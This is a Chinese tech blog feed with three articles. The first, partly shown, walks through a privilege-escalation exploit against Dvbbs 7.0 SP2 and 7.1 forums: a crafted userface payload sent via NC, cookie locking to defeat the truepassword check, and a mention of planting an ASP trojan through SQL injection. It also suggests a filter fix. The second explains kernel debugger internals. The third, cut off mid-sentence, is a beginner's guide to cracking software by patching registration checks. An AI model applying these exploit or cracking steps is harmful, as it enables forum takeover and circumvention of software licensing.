/>images/userface/image1.gif|||32|||32|||2003-12-30%2016:34:00|||2005-6-19%2018:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200|||0|||0|||0||||||0||||||level10.gif||||||<br /><br />9pc722664t5w7IM7|||0|0|0 ||||||Dvbbs<br /><br /><br /><br />要注意中间的空格替换成%20，重新计算Content-Length的值，然后用NC提交一次，我们这个用户的userface就替换过来了，如图6。我们现在再重新登陆看看（图(7,8)）<br /><img src="http://www.cn-pn.com/Article/UploadFiles/200507/20050702123037628.GIF" /><br /><img src="http://www.cn-pn.com/Article/UploadFiles/200507/20050702123038320.GIF" /><br /><img src="http://www.cn-pn.com/Article/UploadFiles/200507/20050702123038438.GIF" /><br />哈哈，看到了吗？我们已经是管理员了。再利用《动网7.1漏洞惊现江湖》一文中的漏洞就可以添加后台管理员了。<br /><br /><br />动网7.1利用方法<br />动网的7.1版利用这个漏洞的方法有点小变化，难度也比7.0 sp2要大。7.1版中加入了对face变量中的’|’符号的过滤<br /><br />mymodify.asp文件中的270行附近：<br /><br />face=Dv_FilterJS(Replace(face,"'",""))<br /><br />face=Replace(face,"..","")<br /><br />face=Replace(face,"\","/")<br /><br />face=Replace(face,"^","")<br /><br />face=Replace(face,"#","")<br /><br />face=Replace(face,"%","")<br /><br />face=Replace(face,"|","")<br /><br />可惜的是动网的程序员百密而一疏，忘了注册时也可以修改头像，在reg.asp中就没有对face变量做任何的过滤<br /><br />Reg.asp文件的285行附近<br /><br />If Request.form("face")&lt;&gt;"" Then<br /><br />face=Request.form("face")<br /><br />End If<br /><br />同样，还是先抓包后用NC提交。注册登录后就是前台管理员了。但还要一个问题，就是Truepassword问题。7.1中加强了对cookie欺骗的防范，所以这个truepassword变化的太频繁了。在7.0sp2的newpass.asp中，只有一个更新当前用户turepassword的指令：<br /><br />7.0 sp2的newpass.asp文件<br /><br /></p>
		<form name="form1" action="" method="post">
				<textarea name="textarea" rows="10" cols="60">&lt;!--#include file="conn.asp"--&gt;

&lt;!--#include file="inc/const.asp"--&gt;

&lt;%

Dvbbs.NewPassword0()

%&gt;</textarea>
		</form>
		<br />而在7.1中，newpass.asp还会检查用户的cookies是否更新<br /><br />7.1　newpass.asp文件的30行左右<br /><br />'检查写入是否成功如果成功则更新数据<br /><br />If Dvbbs.checkStr(Trim(Request.Cookies(Dvbbs.Forum_sn)("password")))=TruePassWord Then<br /><br />Dvbbs.Execute("UpDate [Dv_user] Set TruePassWord='"&amp;TruePassWord&amp;"' where UserID="&amp;Dvbbs.UserID)<br /><br />Dvbbs.MemberWord = TruePassWord<br /><br />Dim iUserInfo<br /><br />iUserInfo = Session(Dvbbs.CacheName &amp; "UserID")<br /><br />iUserInfo(35) = TruePassWord<br /><br />Session(Dvbbs.CacheName &amp; "UserID") = iUserInfo<br /><br />End If<br /><br />在7.1中，我们的客户端的cookies中的truepassword被更新成新的truepassword，由于服务器端的truepassword也是从MyUserInfo中得来的，而MyUserInfo中的truepassword值是不会改变的，在检测时就会形成一个死循环。我们的解决的办法是用cookies锁定，用桂林老兵的浏览器锁定我们的cookies，之前得将cookies中的truepassword值设成和MyUserInfo中的truepassword值一致。这样就不会重复请求newpass.asp进入死循环了。<br /><br />由于手头上没有7.1的sql版的代码，所以上面是在7.1的Access版下测试的，可以成功的成为前台的管理员。<br /><br />后记<br /><br /><br />漏洞的防范方法：改数据库结构的工程大了点，建议在reg.asp和mymodify.asp中加入对相应变量的”|”符号进行过滤，比如：<br /><br />face=Dv_FilterJS(Replace(face,"'",""))<br /><br />face=Replace(face,"..","")<br /><br />face=Replace(face,"\","/")<br /><br />face=Replace(face,"^","")<br /><br />face=Replace(face,"#","")<br /><br />face=Replace(face,"%","")<br /><br />face=Replace(face,"|","")<br /><br />还想提一点，动网太信任后台的管理员了，所以在后台的很多地方都没有对sql注入进行防范，这就形如给我们开了一个sql注入之门。我们曾经检测的一个网站，设置的非常BT。上面用的就是dvbbs的论坛。当我们取得了dvbbs的后台管理员权限时才发现上传目录没有执行权限，asp木马传上去了又原样返回。而由执行asp权限的目录又没有写入的权限。网站上又没有其他的站点可以注入。后来发现dvbbs后台有注入后才总算得到一匹小马。真是千里之堤,溃于蚁穴啊。<br /><br />哆嗦一句，这个权限提升漏洞没有太高深的技巧，但后果是非常严重的。由于前台管理的多个页面存在sql注入，所以这个漏洞对dvbbs　7.x sql版的危害非常大。请不要用本文的方法做破坏行为，否则后果自负。<img src ="http://www.cnitblog.com/torch/aggbug/9474.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/torch/" target="_blank">心野</a> 2006-04-21 20:09 <a href="http://www.cnitblog.com/torch/articles/9474.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Windows内核调试器原理浅析</title><link>http://www.cnitblog.com/torch/articles/9429.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Thu, 20 Apr 2006 13:05:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/9429.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/9429.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/9429.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/9429.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/9429.html</trackback:ping><description><![CDATA[
		<table style="TABLE-LAYOUT: fixed" cellspacing="0" cellpadding="0" align="center" border="0" 95%?="">
				<tbody>
						<tr>
								<td>
										<div align="center">作者：未知 来源：xfocus 加入时间：2005-1-21 阅读次数：4590</div>
								</td>
						</tr>
						<tr>
								<td>
										<br />Windows内核调试器原理浅析 <br /><br />                                                                                      SoBeIt <br /><br />    前段时间忽然对内核调试器实现原来发生了兴趣，于是简单分析了一下当前windows下主流内核调试器原理，并模仿原理自己也写了个极其简单的调试器:) <br /><br />                WinDBG <br />    <br />    WinDBG和用户调试器一点很大不同是内核调试器在一台机器上启动，通过串口调试另一个相联系的以Debug方式启动的系统，这个系统可以是虚拟机上的系统，也可以是另一台机器上的系统(这只是微软推荐和实现的方法，其实象SoftICE这类内核调试器可以实现单机调试)。很多人认为主要功能都是在WinDBG里实现，事实上并不是那么一回事，windows已经把内核调试的机制集成进了内核，WinDBG、kd之类的内核调试器要做的仅仅是通过串行发送特定格式数据包来进行联系，比如中断系统、下断点、显示内存数据等等。然后把收到的数据包经过WinDBG处理显示出来。     <br /><br />    在进一步介绍WinDBG之前，先介绍两个函数：KdpTrace、KdpStub，我在《windows异常处理流程》一文里简单提过这两个函数。现在再提一下，当异常发生于内核态下，会调用KiDebugRoutine两次，异常发生于用户态下，会调用KiDebugRoutine一次，而且第一次调用都是刚开始处理异常的时候。 <br /><br />    当WinDBG未被加载时KiDebugRoutine为KdpStub，处理也很简单，主要是对由int 0x2d引起的异常如DbgPrint、DbgPrompt、加载卸载SYMBOLS(关于int 0x2d引起的异常将在后面详细介绍)等，把Context.Eip加1，跳过int 0x2d后面跟着的int 0x3指令。 <br /><br />    真正实现了WinDBG功能的函数是KdpTrap，它负责处理所有STATUS_BREAKPOINT和STATUS_SINGLE_STEP(单步)异常。STATUS_BREAKPOINT的异常包括int 0x3、DbgPrint、DbgPrompt、加载卸载SYMBOLS。DbgPrint的处理最简单，KdpTrap直接向调试器发含有字符串的包。DbgPrompt因为是要输出并接收字符串，所以先将含有字符串的包发送出去，再陷入循环等待接收来自调试器的含有回复字符串的包。SYMBOLS的加载和卸载通过调用KdpReportSymbolsStateChange，int 0x3断点异常和int 0x1单步异常(这两个异常基本上是内核调试器处理得最多的异常)通过调用KdpReportExceptionStateChange，这两个函数很相似，都是通过调用KdpSendWaitContinue函数。KdpSendWaitContinue可以说是内核调试器功能的大管家，负责各个功能的分派。这个函数向内核调试器发送要发送的信息，比如当前所有寄存器状态，每次单步后我们都可以发现寄存器的信息被更新，就是内核调试器接受它发出的包含最新机器状态的包；还有SYMBOLS的状态，这样加载和卸载了SYMBOLS我们都能在内核调试器里看到相应的反应。然后KdpSendWaitContinue等待从内核调试器发来的包含命令的包，决定下一步该干什么。让我们来看看KdpSendWaitContinue都能干些什么： <br /><br />        case DbgKdReadVirtualMemoryApi: <br />            KdpReadVirtualMemory(&amp;ManipulateState,&amp;MessageData,ContextRecord); <br />            break; <br /><br />        case DbgKdReadVirtualMemory64Api: <br />            KdpReadVirtualMemory64(&amp;ManipulateState,&amp;MessageData,ContextRecord); <br />            break; <br /><br />        case DbgKdWriteVirtualMemoryApi: <br />            KdpWriteVirtualMemory(&amp;ManipulateState,&amp;MessageData,ContextRecord); <br />            break; <br /><br />        case DbgKdWriteVirtualMemory64Api: <br />            KdpWriteVirtualMemory64(&amp;ManipulateState,&amp;MessageData,ContextRecord); <br />            break; <br /><br />        case DbgKdReadPhysicalMemoryApi: <br />            KdpReadPhysicalMemory(&amp;ManipulateState,&amp;MessageData,ContextRecord); <br />            break; <br /><br />        case DbgKdWritePhysicalMemoryApi: <br />            KdpWritePhysicalMemory(&amp;ManipulateState,&amp;MessageData,ContextRecord); <br />            break; <br /><br />        case DbgKdGetContextApi: <br />            KdpGetContext(&amp;ManipulateState,&amp;MessageData,ContextRecord); <br />            break; <br /><br />        case DbgKdSetContextApi: <br />            KdpSetContext(&amp;ManipulateState,&amp;MessageData,ContextRecord); <br />            break; <br /><br />        case DbgKdWriteBreakPointApi: <br />            KdpWriteBreakpoint(&amp;ManipulateState,&amp;MessageData,ContextRecord); <br />            break; <br /><br />        case DbgKdRestoreBreakPointApi: <br />            KdpRestoreBreakpoin(&amp;ManipulateState,&amp;MessageData,ContextRecord); <br />            break; <br /><br />        case DbgKdReadControlSpaceApi: <br />            KdpReadControlSpace(&amp;ManipulateState,&amp;MessageData,ContextRecord); <br />            break; <br /><br />        case DbgKdWriteControlSpaceApi: <br />            KdpWriteControlSpace(&amp;ManipulateState,&amp;MessageData,ContextRecord); <br />            break; <br /><br />        case DbgKdReadIoSpaceApi: <br />            KdpReadIoSpace(&amp;ManipulateState,&amp;MessageData,ContextRecord); <br />            break; <br /><br />        case DbgKdWriteIoSpaceApi: <br />            KdpWriteIoSpace(&amp;ManipulateState,&amp;MessageData,ContextRecord); <br />            break; <br /><br />        case DbgKdContinueApi: <br />            if (NT_SUCCESS(ManipulateState.u.Continue.ContinueStatus) != FALSE) { <br />                return ContinueSuccess; <br />            } else { <br />                return ContinueError; <br />            } <br />            break; <br /><br />        case DbgKdContinueApi2: <br />            if (NT_SUCCESS(ManipulateState.u.Continue2.ContinueStatus) != FALSE) { <br />                KdpGetStateChange(&amp;ManipulateState,ContextRecord); <br />                return ContinueSuccess; <br />            } else { <br />                return ContinueError; <br />            } <br />            break; <br /><br />        case DbgKdRebootApi: <br />            KdpReboot(); <br />            break; <br /><br />        case DbgKdReadMachineSpecificRegister: <br />            KdpReadMachineSpecificRegister(&amp;ManipulateState,&amp;MessageData,ContextRecord); <br />            break; <br /><br />        case DbgKdWriteMachineSpecificRegister: <br />            KdpWriteMachineSpecificRegister(&amp;ManipulateState,&amp;MessageData,ContextRecord); <br />            break; <br /><br />        case DbgKdSetSpecialCallApi: <br />            KdSetSpecialCall(&amp;ManipulateState,ContextRecord); <br />            break; <br /><br />        case DbgKdClearSpecialCallsApi: <br />            KdClearSpecialCalls(); <br />            break; <br /><br />        case DbgKdSetInternalBreakPointApi: <br />            KdSetInternalBreakpoint(&amp;ManipulateState); <br />            break; <br /><br />        case DbgKdGetInternalBreakPointApi: <br />            KdGetInternalBreakpoint(&amp;ManipulateState); <br />            break; <br /><br />        case DbgKdGetVersionApi: <br />            KdpGetVersion(&amp;ManipulateState); <br />            break; <br /><br />        case DbgKdCauseBugCheckApi: <br />            KdpCauseBugCheck(&amp;ManipulateState); <br />            break; <br /><br />        case DbgKdPageInApi: <br />            KdpNotSupported(&amp;ManipulateState); <br />            break; <br /><br />        case DbgKdWriteBreakPointExApi: <br />            Status = KdpWriteBreakPointEx(&amp;ManipulateState, <br />                                          &amp;MessageData, <br />                                          ContextRecord); <br />            if (Status) { <br />                ManipulateState.ApiNumber = DbgKdContinueApi; <br />                ManipulateState.u.Continue.ContinueStatus = Status; <br />                return ContinueError; <br />            } <br />            break; <br /><br />        case DbgKdRestoreBreakPointExApi: <br />            KdpRestoreBreakPointEx(&amp;ManipulateState,&amp;MessageData,ContextRecord); <br />            break; <br /><br />        case DbgKdSwitchProcessor: <br />            KdPortRestore (); <br />            ContinueStatus = KeSwitchFrozenProcessor(ManipulateState.Processor); <br />            KdPortSave (); <br />            return ContinueStatus; <br /><br />        case DbgKdSearchMemoryApi: <br />            KdpSearchMemory(&amp;ManipulateState, &amp;MessageData, ContextRecord); <br />            break; <br /><br />    读写内存、搜索内存、设置/恢复断点、继续执行、重启等等，WinDBG里的功能是不是都能实现了?呵呵。 <br /><br />    每次内核调试器接管系统是通过调用在KiDispatchException里调用KiDebugRoutine(KdpTrace)，但我们知道要让系统执行到KiDispatchException必须是系统发生了异常。而内核调试器与被调试系统之间只是通过串口联系，串口只会发生中断，并不会让系统引发异常。那么是怎么让系统产生一个异常呢?答案就在KeUpdateSystemTime里，每当发生时钟中断后在HalpClockInterrupt做了一些底层处理后就会跳转到这个函数来更新系统时间(因为是跳转而不是调用，所以在WinDBG断下来后回溯堆栈是不会发现HalpClockInterrupt的地址的)，是系统中调用最频繁的几个函数之一。在KeUpdateSystemTime里会判断KdDebuggerEnable是否为TRUE，若为TRUE则调用KdPollBreakIn判断是否有来自内核调试器的包含中断信息的包，若有则调用DbgBreakPointWithStatus，执行一个int 0x3指令，在异常处理流程进入了KdpTrace后将根据处理不同向内核调试器发包并无限循环等待内核调试的回应。现在能理解为什么在WinDBG里中断系统后堆栈回溯可以依次发现KeUpdateSystemTime-&gt;RtlpBreakWithStatusInstruction，系统停在了int 0x3指令上(其实int 0x3已经执行过了，只不过Eip被减了1而已)，实际已经进入KiDispatchException-&gt;KdpTrap，将控制权交给了内核调试器。 <br /><br />    系统与调试器交互的方法除了int 0x3外，还有DbgPrint、DbgPrompt、加载和卸载symbols，它们共同通过调用DebugService获得服务。 <br /><br />NTSTATUS DebugService( <br />        ULONG   ServiceClass, <br />        PVOID   Arg1, <br />        PVOID   Arg2 <br />    ) <br />{ <br />    NTSTATUS     Status; <br /><br />    __asm { <br />        mov     eax, ServiceClass <br />        mov     ecx, Arg1 <br />        mov     edx, Arg2 <br />        int     0x2d <br />        int     0x3   <br />        mov     Status, eax <br />    } <br />    return Status; <br />} <br /><br />ServiceClass可以是BEAKPOINT_PRINT(0x1)、BREAKPOINT_PROMPT(0x2)、BREAKPOINT_LOAD_SYMBOLS(0x3)、BREAKPOINT_UNLOAD_SYMBOLS(0x4)。为什么后面要跟个int 0x3，M$的说法是为了和int 0x3共享代码(我没弄明白啥意思-_-)，因为int 0x2d的陷阱处理程序是做些处理后跳到int 0x3的陷阱处理程序中继续处理。但事实上对这个int 0x3指令并没有任何处理，仅仅是把Eip加1跳过它。所以这个int 0x3可以换成任何字节。 <br />    <br />    int 0x2d和int 0x3生成的异常记录结(EXCEPTION_RECORD)ExceptionRecord.ExceptionCode都是STATUS_BREAKPOINT(0x80000003)，不同是int 0x2d产生的异常的ExceptionRecord.NumberParameters&gt;0且ExceptionRecord.ExceptionInformation对应相应的ServiceClass比如BREAKPOINT_PRINT等。事实上，在内核调试器被挂接后，处理DbgPrint等发送字符给内核调试器不再是通过int 0x2d陷阱服务，而是直接发包。用M$的话说，这样更安全，因为不用调用KdEnterDebugger和KdExitDebugger。 <br /><br />    最后说一下被调试系统和内核调试器之间的通信。被调试系统和内核调试器之间通过串口发数据包进行通信，Com1的IO端口地址为0x3f8，Com2的IO端口地址为0x2f8。在被调试系统准备要向内核调试器发包之前先会调用KdEnterDebugger暂停其它处理器的运行并获取Com端口自旋锁(当然，这都是对多处理器而言的)，并设置端口标志为保存状态。发包结束后调用KdExitDebugger恢复。每个包就象网络上的数据包一样，包含包头和具体内容。包头的格式如下： <br /><br />        typedef struct _KD_PACKET { <br />            ULONG PacketLeader; <br />          USHORT PacketType; <br />            USHORT ByteCount; <br />            ULONG PacketId; <br />            ULONG Checksum; <br />        } KD_PACKET, *PKD_PACKET; <br />    <br />    PacketLeader是四个相同字节的标识符标识发来的包，一般的包是0x30303030，控制包是0x69696969，中断被调试系统的包是0x62626262。每次读一个字节，连续读4次来识别出包。中断系统的包很特殊，包里数据只有0x62626262。包标识符后是包的大小、类型、包ID、检测码等，包头后面就是跟具体的数据。这点和网络上传输的包很相似。还有一些相似的地方比如每发一个包给调试器都会收到一个ACK答复包，以确定调试器是否收到。若收到的是一个RESEND包或者很长时间没收到回应，则会再发一次。对于向调试器发送输出字符串、报告SYMBOL情况等的包都是一接收到ACK包就立刻返回，系统恢复执行，系统的表现就是会卡那么短短一下。只有报告状态的包才会等待内核调试器的每个控制包并完成对应功能，直到发来的包包含继续执行的命令为止。无论发包还是收包，都会在包的末尾加一个0xaa，表示结束。 <br /><br />    现在我们用几个例子来看看调试流程。 <br /><br />    记得我以前问过jiurl为什么WinDBG的单步那么慢(相对softICE)，他居然说没觉得慢?*$&amp;$^$^(&amp;(&amp;(我ft。。。现在可以理解为什么WinDBG的单步和从操作系统正常执行中断下来为什么那么慢了。单步慢是因为每单步一次除了必要的处理外，还得从串行收发包，怎么能不慢。中断系统慢是因为只有等到时钟中断发生执行到KeUpdateSystemTime后被调试系统才会接受来自WinDBG的中断包。现在我们研究一下为什么在KiDispatchException里不能下断点却可以用单步跟踪KiDispatchException的原因。如果在KiDispatchException中某处下了断点，执行到断点时系统发生异常又重新回到KiDispatchException处,再执行到int 0x3，如此往复造成了死循环，无法不能恢复原来被断点int 0x3所修改的代码。但对于int 0x1，因为它的引起是因为EFLAG寄存中TF位被置位,并且每次都自动被复位，所以系统可以被继续执行而不会死循环。现在我们知道了内部机制，我们就可以调用KdXXX函数实现一个类似WinDBG之类的内核调试器，甚至可以替换KiDebugRoutine(KdpTrap)为自己的函数来自己实现一个功能更强大的调试器，呵呵。 <br /><br /><br />                SoftICE <br /><br />    SoftICE的原理和WinDBG完全不一样。它通过替换正常系统中的中断处理程序来获得系统的控制权，也正因为这样它才能够实现单机调试。它的功能实现方法很底层，很少依赖与windows给的接口函数，大部分功能的实现都是靠IO端口读写等来完成的。 <br /><br />    SoftICE替换了IDT表中以下的中断(陷阱)处理程序： <br /><br />    0x1：     单步陷阱处理程序 <br />    0x2：     NMI不可屏蔽中断 <br />    0x3：     调试陷阱处理程序 <br />    0x6：     无效操作码陷阱处理程序 <br />    0xb：     段不存在陷阱处理程序 <br />    0xc：     堆栈错误陷阱处理程序 <br />    0xd：     一般保护性错误陷阱处理程序 <br />    0xe：     页面错误陷阱处理程序 <br />    0x2d：     调试服务陷阱处理程序 <br />    0x2e：     系统服务陷阱处理程序 <br />    0x31：     8042键盘控制器中断处理程序 <br />    0x33：     串口2(Com2)中断处理程序 <br />    0x34：     串口1(Com1)中断处理程序 <br />    0x37：     并口中断处理程序 <br />    0x3c：     PS/2鼠标中断处理程序 <br />    0x41：     未使用 <br /><br />    (这是在PIC系统上更换的中断。如果是APIC系统的话更换的中断号有不同，但同样是更换这些中断处理程序) <br /><br />    其中关键是替换了0x3 调试陷阱处理程序和0x31 i8042键盘中断处理驱动程序(键盘是由i8042芯片控制的)，SoftICE从这两个地方获取系统的控制权。 <br />    <br />    启动softICE服务后SoftICE除了更换了IDT里的处理程序，还有几点重要的，一是HOOK了i8042prt.sys里的READ_PORT_UCHAR函数，因为在对0x60端口读后，会改变0x64端口对应控制寄存器的状态。所以在SoftICE的键盘中断控制程序读了0x60端口后并返回控制权给正常的键盘中断控制程序后，不要让它再读一次。还有就是把物理内存前1MB的地址空间通过调用MmMapIoSpace映射到虚拟的地址空间里，里面包括显存物理地址，以后重画屏幕就通过修改映射到虚拟地址空间的这段显存内容就行了。 <br /><br />    如果显示模式是彩色模式，那么显存起始地址是0xb8000，CRT索引寄存器端口0x3d4，CRT数据寄存器端口0x3d5。如果显示模式是单色模式，那么显存起始地址是0xb0000，CRT索引寄存器端口0x3b4，CRT数据寄存器端口0x3b5。首先写索引寄存器选择要进行设置的显示控制内部寄存器之一(r0-r17)，然后将参数写到其数据寄存器端口。 <br /><br />    i8042键盘控制器中断控制驱动程序在每按下一个键和弹起一个键都会被触发。SoftICE在HOOK了正常的键盘中断控制程序获得系统控制权后，首先从0x60端口读出按下键的扫描码然后向0x20端口发送通用EOI(0x20)表示中断已结束，如果没有按下激活热键(ctrl+d)，则返回正常键盘中断处理程序。如果是按下热键则会判断控制台(就是那个等待输入命令的显示代码的黑色屏幕)是否被激活，未被激活的话则先激活。然后设置IRQ1键盘中断的优先级为最高，同时设置两个8259A中断控制器里的中断屏蔽寄存器(向0x21和0xa1发中断掩码，要屏蔽哪个中断就把哪一位设为1)，只允许IRQ1(键盘中断)、IRQ2(中断控制器2级联中断，因为PS/2鼠标中断是归8259A-2中断控制器管的，只有开放IRQ2才能响应来自8259A-2管理的中断)、IRQ12(PS/2鼠标中断，如果有的话)，使系统这时只响应这3个中断。新的键盘和鼠标中断处理程序会建立一个缓冲区，保存一定数量的输入扫描信息。当前面的工作都完成后会进入一段循环代码，负责处理键盘和鼠标输入的扫描码缓冲区，同时不断地更新显存的映射地址缓冲区重画屏幕(这段循环代码和WinDBG里循环等待从串口发来的包的原理是一样的，都是在后台循环等待用户的命令)。这段循环代码是在激活控制台的例程里调用的，也就是说当控制台已被激活的话正常流程不会再次进入这段循环代码的(废话，再进入系统不就死循环了)。当有一个新的键按下时，都会重新调用一遍键盘中断处理程序，因为控制台已激活，所以它只是简单地更新键盘输入缓冲区内容然后iret返回。它并不会返回正常的键盘中断处理程序，因为那样会交出控制权(想证明这点也很简单，在SoftICE里断正常的键盘中断处理程序，然后g，1秒后在这里断下，这是我们可以F10，如果SoftICE会把控制权交给正常的键盘中断处理程序的话，在这里早就发生死循环了)。鼠标中断驱动也是一样。这个时候实际iret返回到的还是那段循环代码里面，所以被调试的代码并不会被执行，除非按下了F10之类的键，它会指示退出循环返回最开始时的中断处理程序，然后再iret返回最开始中断的地方。当然，因为设置了EFLAG里的TF位，执行了一个指令又会通过单步的处理程序进入那段循环的代码。 <br /><br />    而处理int 0x3也差不多，若没有激活控制台则先激活并屏蔽除了键盘、鼠标及8259A-2中断控制器外的所有中断，然后进入那段循环代码。 <br /><br />    作为对比同样来看一下在SoftICE里处理int 0x3和单步的过程。当执行到int 0x3时，激活控制台并屏蔽中断，然后将int 0x3指令前后范围的指令反汇编并写入显存映射地址空间，并把最新的寄存器值也写进去，最后在后台循环等待键盘输入命令。当命令是F10时，设置好EFLAG的TF位，清除8259A中断控制器里的中断屏蔽寄存器，开放所有中断，将控制台清除，从循环代码中返回新键盘(或int 0x3)中断处理程序，然后再返回到正常键盘(或int 0x3)中断处理程序，由这里iret到被中断代码处执行。执行了一个指令后因为发生单步异常又进入后台循环代码。 <br /><br />    SoftICE里的单步比WinDBG要快得多的原因很简单，SoftICE只需要把反汇编出来的代码和数据经过简单处理再写入显存映射地址缓冲区里刷新屏幕就可以继续执行了，省略了串行的发包收包，怎么会不快。而中断系统更快，按下键中断就会发生，根本不用象WinDBG等时钟中断才能把系统断下来。 <br />    <br />    <br />后记： <br />    <br />    好象说得很简单，其实一个内核调试器实现起来极其复杂，没说得再详细，一是因为题目就叫“浅析”，就是类似于科普的东西；二是水平和时间有限(主要原因^^)；三是真要详细写起来就不是这几千字能说得明白的东西了。还有，反汇编ntice.sys真是一项艰巨的任务，比分析漏洞要复杂N倍，刚开始没着门道时真看得我头昏眼花。在此特别感谢Syser的作者，牛人就是牛人，在我对SoftICE工作原理的认识还处于混沌状态时，几句话点醒了我^^。因为水平有限难免有很多错漏，还忘高手指出:) <br /></td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.cnitblog.com/torch/aggbug/9429.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/torch/" target="_blank">心野</a> 2006-04-20 21:05 <a href="http://www.cnitblog.com/torch/articles/9429.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>爆破经验谈</title><link>http://www.cnitblog.com/torch/articles/9428.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Thu, 20 Apr 2006 13:03:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/9428.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/9428.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/9428.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/9428.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/9428.html</trackback:ping><description><![CDATA[
		<table style="TABLE-LAYOUT: fixed" cellspacing="0" cellpadding="0" align="center" border="0" 95%?="">
				<tbody>
						<tr>
								<td>
										<div align="center">作者：jney2 来源：看雪 加入时间：2005-1-28 阅读次数：10659</div>
								</td>
						</tr>
						<tr>
								<td>
										<br />如何做TNT专家？——爆破经验谈<br />声明：这是jney2的第二破文。我只是一个菜鸟，一点点经验与和我一样刚入门的初学者共享。<br /><br />一，爆破的几个条件。<br />1、爆破工具：十六进制编辑器任一款（推荐用HEX Workshop）。WIN32DASM反汇编器。有这两样就可以，初学者万不要贪多求全。精通一两件，其它触类旁通、举一反三。<br />2、爆破手会使用以上工具。一个爆竹不会点引就想当爆破手，还是去下载MP3，看DVD去吧。jney2相当怀念当年用PCTOOL改《三国志IV》，哈哈，张飞的智力、魅力都是100。一两个小时就征服全国了。可惜现在有许许多多的游戏工具，还有变速器。东东越先进，人就越懒，学到的知识就越少。我不是说有好东东就不用哟。<br />3，爆破手必须会汇编。实在不会，也不要紧，依葫芦画瓢总会吧，找几个最详细，最完美，最经典的教程练一把。成功了！！！哈哈，有兴趣了吧，有信心了吧，好了好了朋友赶紧学汇编吧。如果你试了N次都没成功，我的结论是：在其它方面更适合发挥你的聪明才智。<br />4，信心、耐心、恒心你都得有一点吧。 <br /><br />有了上面的几点，你就可以进入CRACK的初级阶段了。事实上，jney2的水平也就这些。jney2的现状是：97年大专毕业时，算是一个DOS高手吧，学校的唯一一本有关中断调用大全的书我硬是霸占了一年才还。用SR分析过NATAS4744的源代码。所以8086指令系统的汇编功底还是有的。毕业后几年一直干着与电脑无关的事，又没充电。学校学的那点老底早没了。所以到了现在，VB、VC、BC、PB、DELPHI、ASP、JAVA...我是一门都不会。记忆力是一天不如一天了，惭愧呀！真羡慕那些还在学校学习的小弟妹！ <br /><br />废话少说，还是说几点近来当爆破手的几点经验吧。 <br /><br />一，如何快速确定爆破物。<br />1，确定目标有没有加壳。没有最好了，有的话看是不是常见壳，可不可以用现有脱壳软件快速脱掉。搞不定的话，暂时放弃它。“我吃定你了！”，不要这样，老兄。不就是一壳么，不要和他一般见识。记着，你今天的重点是爆破。不要主次不分、本末倒置，这也是初学者最易犯的错误。<br />这方面，我用PEID。它可以整合到资源菜单，非常方便。<br />2，确定用什么语言编写。我的经验是，DELPHI的程序结构清晰、紧凑，最好分析。其次是VC，BC，ASM，比较难的是VB，要有一定的经验才可搞定一两个。VB P-CODE的我就真的一窍不通了，用DEXC反编译出来的代码我一名也看不懂。VF的我也不插手。<br />这方面，我用LANGUAGE2000，把待查软件的图标拖到LANGUAGE2000的快捷方式上就OK了。<br />3，确定爆破物有没有防爆破技术。大多数的软件还是没用的。如果你修改文件后再运行有病毒感染提示或重新安装提示就表示你暂时可以放弃它了。记得我上面说过的，不要和它一般见识。<br />我遇到很毒的就有 斗地主5.4 脱壳后，能运行，但结果是自动关机，看来用它作关机软件倒是蛮好的。 <br /><br />二，如何快速找到爆破点。<br />1，用Win32DASM反汇编并保存工程文件。<br />IDA PRO虽说功能强大，个头大不说，也没有完美汉化版，给我的感觉一个字：慢！我不推荐初学者使用。<br />2，在反汇编文件中找到可疑点。<br />经典语句自不用说，比如，“恭喜”，“注册成功”，“注册码错误”<br />“无效的注册码”，“Thank You","Sorry"...找到后，一般向上不远处就可看到条件转移语句JZ、JNZ、JLE什么的。<br />事实上，只有极少极少的软件只修改注册判断就OK的。所以我们要把更多的注意力转到其它的可疑点。如未注册标识，过期警告，次数标识，NAG对话框...,熟练使用各种工具的搜索功能是基本功之一。找到后再向上不远处找条件转移语句。 <br /><br />如果找不到：<br />3，利用EXESCOPE中的对话框或字符串的ID号和地址指针，通过一定的转换，可在反汇编文件中找到相应的提示。<br />一般的有这样的参数入栈：<br />PUSH 00000064 （64即为ID号为100，当然不要遇到这样的语句就是，要凭自己的经验和感觉判断。还有，Win32DASM里的提示也不是完全对，它的解释很清楚，“Possible"，“可能是”。<br />4,在十六进制编辑软件中搜索到提示信息的起始地址,把它换成程序运行时的偏移地址。如你得到地址是004DE356，那么回到Win32DASM中搜索6856E34D00，（它就是：PUSH 004DE356，我用这个方法曾对付个花指令）如果能找到一处或两处就表示找对了。有很多程序蛮狡猾的，不一定行得通。 <br /><br />5，找到注册判断函数CALL（子程序）<br />一般在条传转移语句的上面，如果你找到的CALL在程序中被调用了二三十次，那肯定不是了，顶多是字符串比较函数罢了。只一次的程序少，我见过的一般在三到六次之间。 <br /><br />6，通过以上可疑点，最好能找准注册标志变量，一种是固定内存变量，在程序中事先就定义好的。一般有以下几种比较形式：<br />mov eax, dword ptr [00401078]<br />cmp eax, 00000001<br />jz ... <br /><br />mov eax, dword ptr [00401078]<br />test eax, eax<br />jz ... <br /><br />mov eax, dword ptr [00401078]<br />mov ebx, dword ptr [eax]<br />cmp ebx, 00000000<br />jnz ... <br /><br />还一种是利用堆栈偏移的临时变量；如<br />mov eax, dword ptr [ebp+50]<br />cmp 